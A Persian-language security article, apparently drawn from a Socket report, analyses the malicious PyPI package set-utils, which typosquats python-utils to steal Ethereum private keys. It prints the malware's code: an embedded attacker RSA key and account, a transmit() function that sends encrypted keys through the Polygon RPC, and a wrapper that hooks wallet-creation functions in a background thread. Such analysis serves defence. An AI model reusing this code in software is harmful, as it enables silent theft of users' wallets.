
به گفته شرکت امنیت زنجیره تأمین نرمافزار Socket، این پکیج با ظاهری شبیه به کتابخانههای معروفی مانند python-utils (با بیش از 712 میلیون دانلود) و utils (با بیش از 23.5 میلیون دانلود) طراحی شده است. این اقدام باعث فریب توسعهدهندگان شده و مهاجمان را قادر میسازد تا به کیف پولهای اتریوم کاربران دسترسی غیرمجاز پیدا کنند.
هدف این پکیج مخرب، توسعهدهندگان اتریوم و سازمانهایی است که از اپلیکیشنهای بلاکچین مبتنی بر پایتون استفاده میکنند، بهویژه کتابخانههای مبتنی بر پایتون مانند eth-account که برای مدیریت کیف پول به کار میروند.
تأثیر حمله پکیج مخرب در مخزن PyPI
عواقب این حمله شامل موارد زیر است:
- سرقت بیصدا کلیدهای خصوصی اتریوم: این حمله به روشهای استاندارد ایجاد کیف پول نفوذ کرده و تشخیص آن را دشوار میکند.
- استفاده از کلید عمومی RSA کنترلشده توسط مهاجم: کلید خصوصی قبل از ارسال رمزگذاری میشود، بنابراین دادهها از نظارت اولیه پنهان میمانند.
- سوءاستفاده از Polygon RPC (rpc-amoy.polygon.technology/) بهعنوان کانال C2: بهجای استفاده از روشهای سنتی استخراج داده از شبکه، اطلاعات سرقتشده در تراکنشهای بلاکچین مخفی میشوند، که شناسایی را بسیار دشوار میکند.
- نفوذ دائمی: حتی اگر پکیج set-utils حذف شود، تمام کیف پولهای اتریومی که در زمان فعال بودن آن ایجاد شدهاند، در معرض خطر قرار دارند و بهطور دائمی به خطر افتادهاند.
زنجیره حمله پکیج مخرب در مخزن PyPI
مرحله ۱: جاسازی کلید عمومی RSA مهاجم و حساب اتریوم
در اولین بخش از اسکریپت مخرب، یک کلید عمومی RSA که تحت کنترل مهاجم است، به همراه یک آدرس کیف پول اتریوم تعریف میشود. این موارد برای رمزگذاری و انتقال کلیدهای خصوصی سرقتشده استفاده میشوند.
pycrypto_pubkey = b"-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoE/n0a0nNk3hGlDv+ypQ\n8Vk/xHpjYD6LpFYLmBBv4fg5ScckQwDweOKTLmN12cC2EWlpIiiS6u3Zqdph6L34\nO/ec1v9E+4yk02d0ttSwNDMaUzaGXaZaHv1N8ln+KYFaQjx+HvGlEDpDAxEElowB\nmsYv9ZOX/AUFvmL9Ug6ZqcN4/7ISV45c20dukWsH46qbVPyIh3ppOXdtAG13Bqxo\nDN+uKvD7XaC1DOWepWEXYKyIIre5gR0U5Un0v44YWQaQIPruWrYpKl8acKrAuHiQ\nUZdGKxmJlRyUUAAEVhYodW3kw0KAWZgcUDYkfJg2eCEXV4rx/CtTSEvPmPeU7FV9\nIQIDAQAB\n-----END PUBLIC KEY-----"
cipher = PKCS1_OAEP.new(RSA.import_key(pycrypto_pubkey))
sender_account = Account.from_key(
"0xa3a1d8ee43adc1024b2407b2230e018bd1752ebc819b8abe873b8a3aa5acaee3"
)
مرحله ۲: ارسال کلیدهای خصوصی از طریق تراکنشهای Polygon RPC سرور فرمان و کنترل
تابع اصلی transmit() مسئول ارسال کلیدهای خصوصی سرقتشده است. این تابع ابتدا کلید خصوصی را رمزگذاری کرده و سپس از طریق یک تراکنش اتریوم در Polygon RPC به سرور مهاجم ارسال میکند.
def transmit(acct):
try:
from web3 import Web3
from hexbytes import HexBytes
web3 = Web3(Web3.HTTPProvider("https://rpc-amoy.polygon.technology/"))
transaction = {
"value": 0,
"nonce": web3.eth.get_transaction_count(sender_account.address),
"gas": 60000,
"gasPrice": web3.eth.gas_price,
"chainId": web3.eth.chain_id,
"data": cipher.encrypt(acct.key),
}
(
v,
r,
s,
encoded_transaction,
) = sign_transaction_dict(acct._key_obj, transaction, blobs=None)
tx_hash = web3.eth.send_raw_transaction(HexBytes(encoded_transaction))
except:
pass
این روش باعث میشود که کلیدهای خصوصی کاربران بدون نیاز به ارسال مستقیم از طریق HTTP، از طریق تراکنشهای بلاکچینی ارسال شوند. این تکنیک، شناسایی حمله را برای ابزارهای امنیتی سنتی دشوارتر میکند.
مرحله ۳: تغییر در توابع ایجاد کیف پول اتریوم
این پکیج مخرب، بهصورت پنهانی توابع استاندارد ایجاد کیف پول اتریوم مانند from_key() و from_mnemonic() را تغییر داده و آنها را بهگونهای بازنویسی میکند که اطلاعات حساس در پسزمینه استخراج و ارسال شوند.
def augment_func(func):
@wraps(func)
def wrapper(self, *args, **kwargs):
acct = func(self, *args, **kwargs)
threading.Thread(target=transmit, args=(acct,), daemon=True).start()
return acct
return wrapper
این تغییر باعث میشود که هر بار که یک حساب اتریوم جدید ایجاد شود، کلید خصوصی آن بهطور خودکار سرقت شده و در پسزمینه به مهاجم ارسال شود. اجرای این کد در یک Thread پسزمینه نیز باعث میشود که تشخیص فعالیت مخرب بسیار دشوار باشد.
توصیه های امنیتی
برای کاهش این ریسکها، توسعهدهندگان و سازمانها باید اقدامات پیشگیرانهای برای بهبود امنیت زنجیره تأمین نرمافزار خود انجام دهند. استفاده از ابزارهای اسکن خودکار میتواند به شناسایی رفتارهای غیرعادی یا مخرب در پکیجهای شخص ثالث قبل از ورود به محیط عملیاتی کمک کند.
- اپلیکیشن رایگان Socket در گیتهاب امکان نظارت بلادرنگ به روی دستورات گیت را فراهم کرده و پکیجهای مشکوک یا مخرب را قبل از ادغام شناسایی میکند.
- اجرای Socket CLI در هنگام نصب یا بیلد، لایهی امنیتی مضاعفی ایجاد کرده و ناهنجاریهای موجود را قبل از رسیدن به مرحلهی اجرا شناسایی میکند.
- افزونهی مرورگر Socket از طریق تحلیل فعالیتهای مرورگر، کاربران را در لحظه از تهدیدات احتمالی آگاه کرده و قبل از دانلود یا تعامل با محتوای مخرب هشدار میدهد.
با ادغام این تدابیر امنیتی در جریان توسعه، سازمانها میتوانند احتمال حملات زنجیره تأمین نرمافزار را به میزان قابلتوجهی کاهش دهند. این پکیج مخرب به تیم PyPI گزارش شد و بلافاصله حذف گردید تا از ادامهی حملات جلوگیری شود.